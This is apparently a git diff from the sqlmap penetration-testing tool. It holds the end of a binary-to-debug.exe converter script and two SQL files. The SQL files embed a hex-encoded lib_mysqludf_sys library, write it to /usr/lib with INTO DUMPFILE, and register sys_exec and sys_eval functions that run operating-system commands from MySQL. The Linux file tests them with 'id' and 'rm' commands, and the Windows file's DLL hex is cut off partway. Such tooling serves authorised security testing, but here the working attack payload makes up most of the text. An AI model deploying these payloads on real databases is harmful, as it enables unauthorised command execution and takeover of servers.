||||||
|
counter += 1
|
||||||
|
|
||||||
|
if counter2 == 20:
|
||||||
|
script += "%s\r\n" % scrString
|
||||||
|
scrString = ""
|
||||||
|
counter2 = 0
|
||||||
|
|
||||||
|
script += "w\r\nq\r\n"
|
||||||
|
|
||||||
|
return script
|
||||||
|
|
||||||
|
def main(inputFile, outputFile):
|
||||||
|
if not os.path.isfile(inputFile):
|
||||||
|
print 'ERROR: the provided input file \'%s\' is not a regular file' % inputFile
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
script = convert(inputFile)
|
||||||
|
|
||||||
|
if outputFile:
|
||||||
|
fpOut = open(outputFile, 'w')
|
||||||
|
sys.stdout = fpOut
|
||||||
|
sys.stdout.write(script)
|
||||||
|
sys.stdout.close()
|
||||||
|
else:
|
||||||
|
print script
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
usage = '%s -i <input file> [-o <output file>]' % sys.argv[0]
|
||||||
|
parser = OptionParser(usage=usage, version='0.1')
|
||||||
|
|
||||||
|
try:
|
||||||
|
parser.add_option('-i', dest='inputFile', help='Input binary file')
|
||||||
|
|
||||||
|
parser.add_option('-o', dest='outputFile', help='Output debug.exe text file')
|
||||||
|
|
||||||
|
(args, _) = parser.parse_args()
|
||||||
|
|
||||||
|
if not args.inputFile:
|
||||||
|
parser.error('Missing the input file, -h for help')
|
||||||
|
|
||||||
|
except (OptionError, TypeError), e:
|
||||||
|
parser.error(e)
|
||||||
|
|
||||||
|
inputFile = args.inputFile
|
||||||
|
outputFile = args.outputFile
|
||||||
|
|
||||||
|
main(inputFile, outputFile)
|
||||||
@@ -76,3 +76,7 @@ SQLMAP: [*] shutting down at: 16:23:21
|
|||||||
SQLMAP:
|
SQLMAP:
|
||||||
[*] Auxiliary module execution completed
|
[*] Auxiliary module execution completed
|
||||||
msf auxiliary(wmap_sqlmap) >
|
msf auxiliary(wmap_sqlmap) >
|
||||||
|
|
||||||
|
|
||||||
|
Happy hacking!
|
||||||
|
Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
|
|||||||
120
extra/mysqludfsys/command_execution/linux.sql
Normal file
120
extra/mysqludfsys/command_execution/linux.sql
Normal file
@@ -0,0 +1,120 @@
|
|||||||
|
-- Notes:
|
||||||
|
--
|
||||||
|
-- The SO compiled using MySQL 5.0.67 C libraries works also on MySQL
|
||||||
|
-- 5.1.30 and MySQL 4.1.22 (TODO: confirm)
|
||||||
|
--
|
||||||
|
-- SO compiled using MySQL 5.1.30 C libraries
|
||||||
|
-- lib_mysqludf_sys.so: 12896 bytes (ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, not stripped)
|
||||||
|
-- lib_mysqludf_sys.so: 5476 bytes (ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, stripped)
|
||||||
|
--
|
||||||
|
-- Little hack to compress the shared object:
|
||||||
|
-- * Compile with -O1 the shared object
|
||||||
|
-- * Use strip to remove all symbols (-s) and non-global symbols (-x)
|
||||||
|
|
||||||
|
|
||||||
|
-- Create a table with one field data-type text
|
||||||
|
DROP TABLE IF EXISTS udftest;
|
||||||
|
CREATE TABLE udftest(data blob);
|
||||||
|
|
||||||
|
|
||||||
|
-- Insert the hexadecimal encoded UDF in the table
|
||||||
|
--
|
||||||
|
-- SO compiled using MySQL 5.1.30 C libraries
|
||||||
|
INSERT INTO udftest(data) VALUE (0x7f454c46010101000000000000000000030003000100000010080000340000007c1100000000000034002000050028001900180001000000000000000000000000000000bc0e0000bc0e0000050000000010000001000000040f0000041f0000041f00000801000010010000060000000010000002000000180f0000181f0000181f0000d0000000d0000000060000000400000051e574640000000000000000000000000000000000000000060000000400000052e57464040f0000041f0000041f0000fc000000fc00000004000000010000001100000024000000000000000d00000000000000030000001a00000000000000070000001b0000000a000000140000000f000000150000000c0000000e0000001e000000060000001c000000000000000000000000000000010000000000000000000000020000000400000000000000230000002200000000000000130000001d000000170000000b000000000000000000000005000000090000002100000011000000000000001800000020000000080000001f0000000000000010000000000000001900000000000000160000000000000012000000000000001100000010000000040000000700000001080440801946c99ca40803900460831000000012000000130000001500000016000000180000001b0000001d0000000000);
|
||||||
|
UPDATE udftest SET data=CONCAT(data,0x00001e000000000000001f0000002000000021000000220000002300000000000000ce2cc0ba673c7690ebd3ef0e78722788b98df10ed971581ca868be12bbe3927c7e8b92cd1e7066a9c3f9bfba745bb073371974ec4345d5ecc5a62c1cc3138aff3b9fd4a0ad73d1c50b5911feab5fbe12000000000000000000000000000000009500000000000000000000001200000001000000000000000000000020000000250000000000000000000000200000009b0000000000000000000000120000007201000000000000000000001200000039010000000000000000000012000000a3000000000000000000000012000000ab00000000000000000000001200000065010000000000000000000012000000480100000000000000000000120000008e000000000000000000000012000000b8000000000000000000000012000000160000000000000000000000220000004f010000000000000000000012000000b1000000000000000000000012000000400100006a0d00008b00000012000b0075000000db0800000500000012000b0010000000980e00000000000012000c00ff0000008d0c00004b00000012000b00df000000ac07000000000000120009008a0100000c200000000000001000f1ff300100004d0d00001d00000012000b009601000014200000000000001000f1ff);
|
||||||
|
UPDATE udftest SET data=CONCAT(data,0x56000000d10800000500000012000b00c90000001f0a00007300000012000b006a0100000f0e00004500000012000b0039000000cc0800000500000012000b00f2000000140c00007900000012000b00830100000c200000000000001000f1ff65000000d60800000500000012000b00e5000000050b00000f01000012000b00d7000000920a00007300000012000b0015010000d80c00007500000012000b0056010000f50d00001a00000012000b0085000000e00800003f01000012000b00005f5f676d6f6e5f73746172745f5f005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974007379735f6765745f6465696e6974007379735f657865635f6465696e6974007379735f6576616c5f6465696e6974007379735f6576616c006d616c6c6f6300706f70656e007265616c6c6f63007374726e6370790066676574730070636c6f7365005f5f737461636b5f63686b5f6661696c007379735f6576616c5f696e6974007379735f657865635f696e6974007379735f7365745f696e6974007379735f6765745f696e6974006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379);
|
||||||
|
UPDATE udftest SET data=CONCAT(data,0x735f657865630073797374656d007379735f736574006d656d63707900736574656e76007379735f7365745f6465696e69740066726565007379735f67657400676574656e76006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e312e3300474c4942435f322e3400474c4942435f322e3000474c4942435f322e310000000002000000000003000300030003000300030003000300040005000300020001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000400790100001000000000000000731f6909000005009b010000100000001469690d00000400a7010000100000001069690d00000300b1010000100000001169690d00000200bb010000000000001e09000008000000082000000800000014090000020b0000c50b0000020b00002b090000020100006a090000020400008b09000002070000b109000002080000c3090000020f0000100a0000020c00005f0d0000020600009c0d0000020a0000c10d0000020a0000df0d0000020e0000090e000002090000220e000002050000e81f000006020000ec1f000006030000f01f0000060d0000002000000702000004200000070d00005589e55383ec04e8000000005b81c33c1800008b93f4ffffff85d274);
|
||||||
|
UPDATE udftest SET data=CONCAT(data,0x05e81e000000e8bd000000e888060000585bc9c3ffb304000000ffa30800000000000000ffa30c0000006800000000e9e0ffffffffa3100000006808000000e9d0ffffff000000005589e55653e8ad00000081c3da17000083ec1080bb1800000000755d8b83fcffffff85c0740e8b8314000000890424e8b8ffffff8b8b1c0000008d831cffffff8d9318ffffff29d0c1f8028d70ff39f173208db6000000008d410189831c000000ff948318ffffff8b8b1c00000039f172e6c683180000000183c4105b5e5dc35589e553e82e00000081c35b17000083ec048b9320ffffff85d274158b93f8ffffff85d2740b8d8320ffffff890424ffd283c4045b5dc38b1c24c3905589e55dc35589e55dc35589e55dc35589e55dc35589e557565381ec2c0400008b5d0c8b45148985d8fbffff8b55188995d4fbffff65a1140000008945f031c0c7042401000000e8fcffffff89c6c7442404b40e00008b43088b00890424e8fcffffff8985dcfbffffc785e0fbffff00000000eb548dbdf0fbffffb800000000b9fffffffff2ae89c8f7d08d78ff8b9de0fbffff01fb895c2404893424e8fcffffff89c6897c24088d95f0fbffff895424048b95e0fbffff8d0410890424e8fcffffff899de0fbffff8b85dcfbffff89442408c7442404000400008d95f0fbffff891424e8fcffffff85c075888b);
|
||||||
|
UPDATE udftest SET data=CONCAT(data,0x85dcfbffff890424e8fcffffff803e00740485f6750b8b95d4fbffffc60201eb268b85e0fbffffc64406ff0089f7b800000000b9fffffffff2aef7d183e9018b95d8fbffff890a89f08b55f0653315140000007405e8fcffffff81c42c0400005b5e5f5dc35589e58b450c8b5510833801750d8b4004b9000000008338007454c70245787065c7420463746564c7420820657861c7420c63746c79c74210206f6e65c7421420737472c74218696e6720c7421c74797065c7422020706172c74224616d657466c742286572c6422a00b90100000089c85dc35589e58b450c8b5510833801750d8b4004b9000000008338007454c70245787065c7420463746564c7420820657861c7420c63746c79c74210206f6e65c7421420737472c74218696e6720c7421c74797065c7422020706172c74224616d657466c742286572c6422a00b90100000089c85dc35589e55383ec048b550c8b5d10833a027444c70345787065c7430463746564c7430820657861c7430c63746c79c743102074776fc7431420617267c74318756d656e66c7431c7473c6431e00ba01000000e9b10000008b4204833800744cc70345787065c7430463746564c7430820737472c7430c696e6720c7431074797065c7431420666f72c74318206e616dc7431c65207061c7432072616d65c7432474657200ba010000);
|
||||||
|
UPDATE udftest SET data=CONCAT(data,0x00eb5dc74004000000008b520c8b0283c002034204890424e8fcffffff8b550889420cba0000000085c07534c703436f756cc7430464206e6fc743087420616cc7430c6c6f6361c743107465206dc74314656d6f7266c743187900ba0100000089d083c4045b5dc35589e58b450c8b551083380175158b4004833800750d8b4508c60001b800000000eb54c70245787065c7420463746564c7420820657861c7420c63746c79c74210206f6e65c7421420737472c74218696e6720c7421c74797065c7422020706172c74224616d657466c742286572c6422a00b8010000005dc35589e58b4510c7006c69625fc740046d797371c740086c756466c7400c5f737973c7401020766572c7401473696f6ec7401820302e3066c7401c2e33c6401e008b5514c7021e0000005dc35589e58b5510b9000000008b450c833800745ec7024e6f2061c742047267756dc74208656e7473c7420c20616c6cc742106f776564c7421420287564c74218663a206cc7421c69625f6dc742207973716cc742247564665fc742287379735fc7422c696e666f66c742302900b90100000089c85dc35589e583ec088b450c8b40088b00890424e8fcffffff89c2c1fa1fc9c35589e583ec18895df48975f8897dfc8b5d0c8b45088b700c8b430c8b108d7c16018b43088b008954240889442404893424e8fcff);
|
||||||
|
UPDATE udftest SET data=CONCAT(data,0xffff8b430c8b00c60406008b530c8b43088b48048b420489442408894c2404893c24e8fcffffff8b430c8b4004c6040700c744240801000000897c2404893424e8fcffffff89c2c1fa1f8b5df48b75f88b7dfc89ec5dc35589e583ec088b45088b400c85c07408890424e8fcffffffc9c35589e55783ec048b450c8b40088b00890424e8fcffffff89c285c075088b4518c60001eb1889c7b800000000b9fffffffff2aef7d183e9018b4514890889d083c4045f5dc39090909090909090909090905589e55653e85dfaffff81c38a1100008b8310ffffff83f8ff74198db310ffffff8db4260000000083ee04ffd08b0683f8ff75f45b5e5dc35589e55383ec04e8000000005b81c350110000e860f9ffff595bc9c37200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff00000000ffffffff000000000000000001000000790100000c000000ac0700000d000000980e000004000000d4000000f5feff6fb001000005000000a404000006000000640200000a000000c50100000b0000001000000003000000f41f000002000000100000001400000011000000170000009c07000011000000040700001200000098000000);
|
||||||
|
UPDATE udftest SET data=CONCAT(data,0x13000000080000001600000000000000feffff6fb4060000ffffff6f01000000f0ffff6f6a060000faffff6f0200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000181f00000000000000000000f20700000208000008200000004743433a20285562756e747520342e332e322d317562756e747531322920342e332e3200004743433a20285562756e747520342e332e322d317562756e747531322920342e332e3200004743433a20285562756e747520342e332e322d317562756e747531322920342e332e3200004743433a20285562756e747520342e332e322d317562756e747531322920342e332e3200004743433a20285562756e747520342e332e322d317562756e747531322920342e332e3200002e7368737472746162002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c2e64796e002e72656c2e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d65002e63746f7273002e64746f7273002e6a6372002e64796e616d6963002e676f74002e676f742e706c74002e64617461002e627373002e636f6d6d656e74000000000000000000);
|
||||||
|
UPDATE udftest SET data=CONCAT(data,0x000000000000000000000000000000000000000000000000000000000000000000000f0000000500000002000000d4000000d4000000dc000000030000000000000004000000040000000b000000f6ffff6f02000000b0010000b0010000b400000003000000000000000400000004000000150000000b00000002000000640200006402000040020000040000000100000004000000100000001d0000000300000002000000a4040000a4040000c50100000000000000000000010000000000000025000000ffffff6f020000006a0600006a060000480000000300000000000000020000000200000032000000feffff6f02000000b4060000b40600005000000004000000010000000400000000000000410000000900000002000000040700000407000098000000030000000000000004000000080000004a00000009000000020000009c0700009c07000010000000030000000a0000000400000008000000530000000100000006000000ac070000ac07000030000000000000000000000004000000000000004e0000000100000006000000dc070000dc0700003000000000000000000000000400000004000000590000000100000006000000100800001008000088060000000000000000000010000000000000005f0000000100000006000000980e0000980e00001c000000);
|
||||||
|
UPDATE udftest SET data=CONCAT(data,0x00000000000000000400000000000000650000000100000032000000b40e0000b40e000002000000000000000000000001000000010000006d0000000100000002000000b80e0000b80e00000400000000000000000000000400000000000000770000000100000003000000041f0000040f000008000000000000000000000004000000000000007e00000001000000030000000c1f00000c0f00000800000000000000000000000400000000000000850000000100000003000000141f0000140f000004000000000000000000000004000000000000008a0000000600000003000000181f0000180f0000d000000004000000000000000400000008000000930000000100000003000000e81f0000e80f00000c00000000000000000000000400000004000000980000000100000003000000f41f0000f40f00001400000000000000000000000400000004000000a1000000010000000300000008200000081000000400000000000000000000000400000000000000a700000008000000030000000c2000000c1000000800000000000000000000000400000000000000ac0000000100000000000000000000000c100000b90000000000000000000000010000000000000001000000030000000000000000000000c5100000b500000000000000000000000100000000000000);
|
||||||
|
|
||||||
|
|
||||||
|
-- Export the hexadecimal encoded UDF to a binary file on the file system
|
||||||
|
--
|
||||||
|
-- On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0:
|
||||||
|
--
|
||||||
|
-- From MySQL 5.1 and 6.0 official documentation:
|
||||||
|
--
|
||||||
|
-- shared_library_name is the basename of the shared object file
|
||||||
|
-- that contains the code that implements the function. The file
|
||||||
|
-- must be located in the plugin directory. This directory is given
|
||||||
|
-- by the value of the plugin_dir system variable.
|
||||||
|
--
|
||||||
|
-- Note that /TODO/plugin DOES NOT
|
||||||
|
-- exist by default so it is NOT possible to save the SO in the proper
|
||||||
|
-- folder where MySQL server looks for SOs.
|
||||||
|
-- SHOW VARIABLES WHERE variable_name='plugin_dir';
|
||||||
|
--
|
||||||
|
-- References:
|
||||||
|
-- http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html
|
||||||
|
-- http://dev.mysql.com/doc/refman/6.0/en/create-function-udf.html
|
||||||
|
--
|
||||||
|
-- The SO can be only in /TODO
|
||||||
|
-- SELECT data FROM udftest INTO DUMPFILE '/TODO/lib_mysqludf_sys.so'; -- On MySQL 5.1 >= 5.1.19
|
||||||
|
-- SELECT data FROM udftest INTO DUMPFILE '/TODO/lib_mysqludf_sys.so'; -- On MySQL 6.0
|
||||||
|
--
|
||||||
|
-- On MySQL 4.1 < 4.1.25, MySQL 5.0 < 5.0.67 and MySQL 5.1 < 5.1.19:
|
||||||
|
--
|
||||||
|
-- From MySQL 4.1 and 5.0 official documentation:
|
||||||
|
--
|
||||||
|
-- shared_library_name is the basename of the shared object file
|
||||||
|
-- that contains the code that implements the function. As of MySQL
|
||||||
|
-- M.m.m, the file must be located in the plugin directory. This
|
||||||
|
-- directory is given by the value of the plugin_dir system variable.
|
||||||
|
-- If the value of plugin_dir is empty, the behavior that is used
|
||||||
|
-- before M.m.m applies: The file must be located in a directory
|
||||||
|
-- that is searched by your system's dynamic linker.
|
||||||
|
--
|
||||||
|
-- References:
|
||||||
|
-- http://dev.mysql.com/doc/refman/4.1/en/create-function-udf.html
|
||||||
|
-- http://dev.mysql.com/doc/refman/5.0/en/create-function-udf.html
|
||||||
|
--
|
||||||
|
-- The SO can be in either /lib, /usr/lib or one of the paths specified in
|
||||||
|
-- /etc/ld.so.conf file, none of these paths are writable by mysql user by
|
||||||
|
-- default (tested on MySQL 5.0.67 with NO plugin_dir set in my.cnf
|
||||||
|
-- configuration file, which is the default setting)
|
||||||
|
-- SELECT data FROM udftest INTO DUMPFILE '/usr/lib/lib_mysqludf_sys.so'; -- -rw-rw-rw- 1 mysql mysql. On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file
|
||||||
|
SELECT data FROM udftest INTO DUMPFILE '/usr/lib/lib_mysqludf_sys.so'; -- -rw-rw-rw- 1 mysql mysql. On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file
|
||||||
|
-- SELECT data FROM udftest INTO DUMPFILE '/usr/lib/lib_mysqludf_sys.so'; -- -rw-rw-rw- 1 mysql mysql. On MySQL 5.1 < 5.1.19 with NO plugin_dir set in my.ini configuration file
|
||||||
|
--
|
||||||
|
-- Notes:
|
||||||
|
-- If the library file already exists, the user mysql does not have access
|
||||||
|
-- to overwrite it
|
||||||
|
-- The following enumerates the MySQL data directory
|
||||||
|
-- SELECT @@datadir
|
||||||
|
-- The followings will save into /var/lib/mysql/. It is not a valid PATH
|
||||||
|
-- where MySQL looks for SO
|
||||||
|
-- SELECT data FROM udftest INTO DUMPFILE './lib_mysqludf_sys.so';
|
||||||
|
-- The following will save into /var/lib/mysql/mysql where 'mysql' is the
|
||||||
|
-- database name where it is connected. It is not a valid PATH where MySQL
|
||||||
|
-- looks for SO
|
||||||
|
-- SELECT data FROM udftest INTO DUMPFILE 'lib_mysqludf_sys.so'; -- -rw-rw-rw- 1 mysql mysql
|
||||||
|
-- The following would save into / (Permission denied)
|
||||||
|
-- SELECT data FROM udftest INTO DUMPFILE '/lib_mysqludf_sys.so';
|
||||||
|
|
||||||
|
|
||||||
|
-- Create two functions from the binary UDF file
|
||||||
|
-- DROP FUNCTION sys_exec; -- without 'IF EXISTS ' on MySQL < 5.0
|
||||||
|
-- DROP FUNCTION sys_eval; -- without 'IF EXISTS ' on MySQL < 5.0
|
||||||
|
DROP FUNCTION IF EXISTS sys_exec; -- On MySQL >= 5.0
|
||||||
|
DROP FUNCTION IF EXISTS sys_eval; -- On MySQL >= 5.0
|
||||||
|
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
|
||||||
|
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';
|
||||||
|
|
||||||
|
|
||||||
|
-- Test the two functions
|
||||||
|
SELECT sys_exec('echo test > /tmp/lib_mysqludf_sys.txt'); -- -rw-rw---- 1 mysql mysql
|
||||||
|
SELECT sys_eval('cat /tmp/lib_mysqludf_sys.txt ; id');
|
||||||
|
|
||||||
|
|
||||||
|
-- Cleanup the file system and the database
|
||||||
|
SELECT sys_exec('rm -f /tmp/lib_mysqludf_sys.*');
|
||||||
|
DROP TABLE IF EXISTS udftest;
|
||||||
|
-- DROP FUNCTION sys_exec; -- without 'IF EXISTS ' on MySQL < 5.0
|
||||||
|
-- DROP FUNCTION sys_eval; -- without 'IF EXISTS ' on MySQL < 5.0
|
||||||
|
DROP FUNCTION IF EXISTS sys_exec; -- On MySQL >= 5.0
|
||||||
|
DROP FUNCTION IF EXISTS sys_eval; -- On MySQL >= 5.0
|
||||||
128
extra/mysqludfsys/command_execution/windows.sql
Normal file
128
extra/mysqludfsys/command_execution/windows.sql
Normal file
@@ -0,0 +1,128 @@
|
|||||||
|
-- Notes:
|
||||||
|
--
|
||||||
|
-- The DLL compiled using MySQL 5.1.30 C libraries works also on MySQL
|
||||||
|
-- 5.0.67 and MySQL 4.1.22
|
||||||
|
--
|
||||||
|
-- DLL compiled using MySQL 5.1.30 C libraries
|
||||||
|
-- lib_mysqludf_sys.dll: 9216 bytes (MS-DOS executable PE for MS Windows (DLL) (GUI) Intel 80386 32-bit)
|
||||||
|
-- lib_mysqludf_sys.dll: 6656 bytes (MS-DOS executable PE for MS Windows (DLL) (GUI) Intel 80386 32-bit, UPX compressed)
|
||||||
|
--
|
||||||
|
-- Little hack to compress the dynamic-linked library:
|
||||||
|
-- * Read instructions on http://rpbouman.blogspot.com/2007/09/creating-mysql-udfs-with-microsoft.html
|
||||||
|
-- * Remember to compile it under Visual C++ 2008 with the
|
||||||
|
-- 'Configuration' set as 'Release'
|
||||||
|
-- * Use upx (http://upx.sourceforge.net) over the DLL:
|
||||||
|
-- * upx -9 library.dll -o library_upx.dll
|
||||||
|
|
||||||
|
|
||||||
|
-- Create a table with one field data-type text
|
||||||
|
DROP TABLE IF EXISTS udftest;
|
||||||
|
CREATE TABLE udftest(data blob);
|
||||||
|
|
||||||
|
|
||||||
|
-- Insert the hexadecimal encoded UDF in the table
|
||||||
|
--
|
||||||
|
-- DLL compiled using MySQL 5.1.30 C libraries
|
||||||
|
INSERT INTO udftest(data) VALUE (0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000ad137127e9721f74e9721f74e9721f74e00a8c74eb721f74e00a8a74e8721f74e00a9c74e7721f74e00a9b74eb721f742a7d4274ea721f74e9721e74c0721f74e00a9674e8721f74e00a8d74e8721f74e00a8e74e8721f7452696368e9721f7400000000000000000000000000000000504500004c010300ce2e8e490000000000000000e00002210b010900001000000010000000600000507c0000007000000080000000000010001000000002000005000000000000000500000000000000009000000010000000000000020040010000100000100000000010000010000000000000100000007c830000b8010000b4820000c800000000800000b402000000000000000000000000000000000000348500001000000000000000000000000000000000000000000000000000000000000000000000001c7e00004800000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000600000001000000000000000040000);
|
||||||
|
UPDATE udftest SET data=CONCAT(data,0x000000000000000000000000800000e0555058310000000000100000007000000010000000040000000000000000000000000000400000e02e7273726300000000100000008000000006000000140000000000000000000000000000400000c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332e303300555058210d090209285e83bd2629a7f017550000480c000000240000260000eb);
|
||||||
|
UPDATE udftest SET data=CONCAT(data,0xffcbffff8b442408833800741956578b7c2414b90c00be000010e8f3a566a56edd92ff5fb0015ec332c0c3cc2f0c2ab907fbeddbcf26111c8bf8288b4c24182ca45fc7011e16f7cf0eac5e2ecc5f0175128b4004676430f76e750a2c04c6010155710a1db2d8f3113ca4723f8b484df7efbe021152ff15968083c40485c075084514c365dffeff8bc8568d71018a114184d275f98b54142bce890a4019bb6dba7f4c39026b74186d07b0df4b06688b419974158db6ae9d9d88f3fdc7b61100230c5d37f6df85048b108d44110250899859108d893c19a16b1990173c0611b05b4a68935fe70f464085ed767732740a890aff254aa0c31f6fdb42fb53568b745b1d78734602088b46f6eddb2fd18d5c39010a525157e8300c108b5617d6de65fb02c60407974e5104219d1c76fb36c95342d2c4185357220300ad6cae843f005f5e995bc34f9099c309830c20af0b03a8c35dc242dc0081ec10305bd7f85ba102200033c489842c0d8b0620dcdc373f8c2424538b9c241c07556a01db2038360214893d515397f0fcc7de6dd76863cc5033ff14948bd8538d4c24287063edae3251895c421688debe712b6c435355904c8d5001084084c9cb63bf5d2bc22e8d2c3b55563b848bf054dde6842f528d043eb48c24511334db70d8634f528bfd4d20c4b38b5ebf6d4678105d53189c803eb3c67436c6443b04fbee3eff0063eb038d);
|
||||||
|
UPDATE udftest SET data=CONCAT(data,0x490068fc6c0d3f777b5f8901205e5bd8e633cc7e0375bceee17481c401c31418f4935f0f0fecad221bc602011e3b0d2275c60cfff602f3c3e90807318bff5668805fb778ffdd7e56c07c5959a3062358045485f67505dbb07be133c040748326004908ff270929098e36d6fde8c70424063b0b5923d2efddbffdff558bec51510a39450c750e39056b107e3cff7337deb51bb37d0cb50910488b096957897c6cdd770a23480f85d47d641718ec797677db6d5135202c893d50bb1e50eb184af0c1febba705f43bc7741768e803a8306a0057aedbdeb02ed63ae7eb07c72c013ca12feddeddf04c6a025e9d096a1f920aa6eb3caa10bcae7deffd04b4c7051f281aa0e027fdfbbeb3075cf120b004ac1b9a59893573a576e32b085939b2f26973dfeebdfb34393d155c741c68062809dc430dd8f65ae1ff751034252316fff1acb919be54ee01dc0801a1db76367b6378d665fc00dfdb0fd4ac3dc944fc83f80266d26dec1b1b595bffa0584b7031fb0e376daf45d70f8487c7195413a5bbb6401e8b141810897d563fb6f5edef043bc87251833f6cf36a74390774e92d3cdbdaff372620f8108907b9f8b8bd599b5615441b474df86bdf1adf900c394d1003d00874b4890902886db76d0c1a0860eba7f60c3d881163564d442e38200bdb5758064c32fc3f5079811d8e4390c9c2e96a1068cd7de37712d8d0d88bd2f28b5d08);
|
||||||
|
UPDATE udftest SET data=CONCAT(data,0x1c548597ddede433c95cfc897d2008fc3bf15abfdb5a8c393a4417e4f906ea3bf07405db16defd83fe02752ea152dc3bc1749e565fd03b7066e1865ee4000393113bd983fbf1d2141680120ab22735bb61ebfe642464205750135e436cb60e002f52d2061137ecafd153f76a0375434f34871df66c032168742e2c257febe3ad81851b71ec3409aae050516468854be5ac1065e8f62fb65ddb70fad2feff001907032ae4a4ae3dee070b1dc396ec16ff3bf07885d3246a1b5419de5da07d54550c0d05f8595d38b4a1dc8a22e928035f2120e6e6e6cd43051c891518891d14893569b6efe610893d0c668c1838060d2c666996661d0805042558fbee96002d7ffc9c8f14309556ed9f3fdb240704288d4508348b85e0fca05d3b1b63aa7095011c1920c6d8d6b12413180958c0091cb32c9fbb6b608985d8320a04dc57e01bc3031834687edf8f7d9af1ec596af75010e00a20833dd83bac7d2000f923685b1b7c4f9fc0244928c9c380401ef292223b2e5f6a144a13001531e9b190aaf8a29cc6e107bf7359eb676a08a904598fedd61d921b27355934e0f5f31d6e85bf03e4507f4b7c8cad6d5f506efe1cdc142cd6e2c4582a5b09e01b14f46393e525db08dfdc6c0bfe73130ab9d94e1e43f7d81bc0fa36edde0359485d1656b807c8be0457e946c75f503bc6730f8b0753025083c7b3f21c567afe72f13025d0d0f68dd8);
|
||||||
|
UPDATE udftest SET data=CONCAT(data,0x14cc632f08b84d5a287f57bac466b374045262413c03c18138501bfcfb974575ef33d2b90b011c48180f94b0c29a6209895d7f3fd748b65b81df31c80fb74114a20571063357c5c6d20de908180b76de7db5ffffdf8a0c3bf972098b580803d93bfb720a4283c0283bd672e86a1c0ed933d94e4f6afe9d17705c30d00635640cfc5083c3ad31ccec0823316033c56a7c86d277f064a31a892a46096877843e2c49f0d2094c7574559734cb645f2d1350198c083b41b8f05b2d24c1e81ff709e00183bbedd40a034f170059948be5ebd84e6a969701ca3da3c0fab216ec14972fbb3191b111bacc1e540540fcb8a491444ca312aa10dc9d5c87b1095f14c3a45cb4c7acfbef5400d75cb6d9968e6c038d2be0fafcc11a68cef13ca8fc8a039b0403710dc395707018679651481473e2e3ddcdd86903786851d70ab142efe19c56a30e68f885225b7cf892bf4ee640bb25eea0397866760d85c3255aa39f0a358e04eb60ca78116bed935d388b7598920bae0c32b640f007080c9dfed66e672710b4f4330c113bf77507be4fe0b768ef59eb0b85f30a95c1e0100bf0a1f4b147c200f7d607045e5f5bb43f1919191b5005585c60811d1919646ca4000004c84305038700feff50a1172f4e6f20617267756d656e7473ddffffdf096c6c6f77656420287564663a206c69625f6d7973716c0d5f3f32f7b773085f696e666f293918);
|
||||||
|
UPDATE udftest SET data=CONCAT(data,0x20766572777fdbfe73696f6e20302e01331f45787065637447657861eddb6f6f076c79201a65207374723f672074791b806d6d6b7572617121722bb065013b7477911f3f1f30f7968672206e4148436f756cdbb6636f246e6f74c463611320186d27a204766e79af660048b5ffffe66e201712c0015253445360a91de01b43b243bdf182720ea1bdf958d103c502633a5c4476476e6efb6edb8a539674b0735c41646d0769bed6fe7f6b938e2e57324b335354454e5550444106336d7bfbf665736b16705c7368c9655c762675be23a1b9ff5f6370705f70726f6af83e6ccb3e65ff5c52656c65617365182e706462c97c2716c8351bc707d0674d259b0ff50707069d92c3bad303e727cc08e3e84ed8810fd81f0a6b037f56a82090209e2b1210008d4516c1beb119bf44ff003400301855ff01162100e9b03c53505c100103c0bf00c7456e7669726f6edbbb2fdb7f5661726961626c6541184743757272145072ecf640fe6f636573734964546805616413d61a001f5469636ba1150dbd01d0fe51756572795003c36d616ef6de5aac37160e184469735937ffcbdf7e4c6962726a7943616c6c73497344656275676765db63ae9572685c96556e684064626f6f6f3164457846707469a146696c4adb52b6c219b4125417c9da0640a0611e11b65bdbbe49906c0c6b409d6d7087656bcd35e747517f77555122b6bb65091b);
|
||||||
|
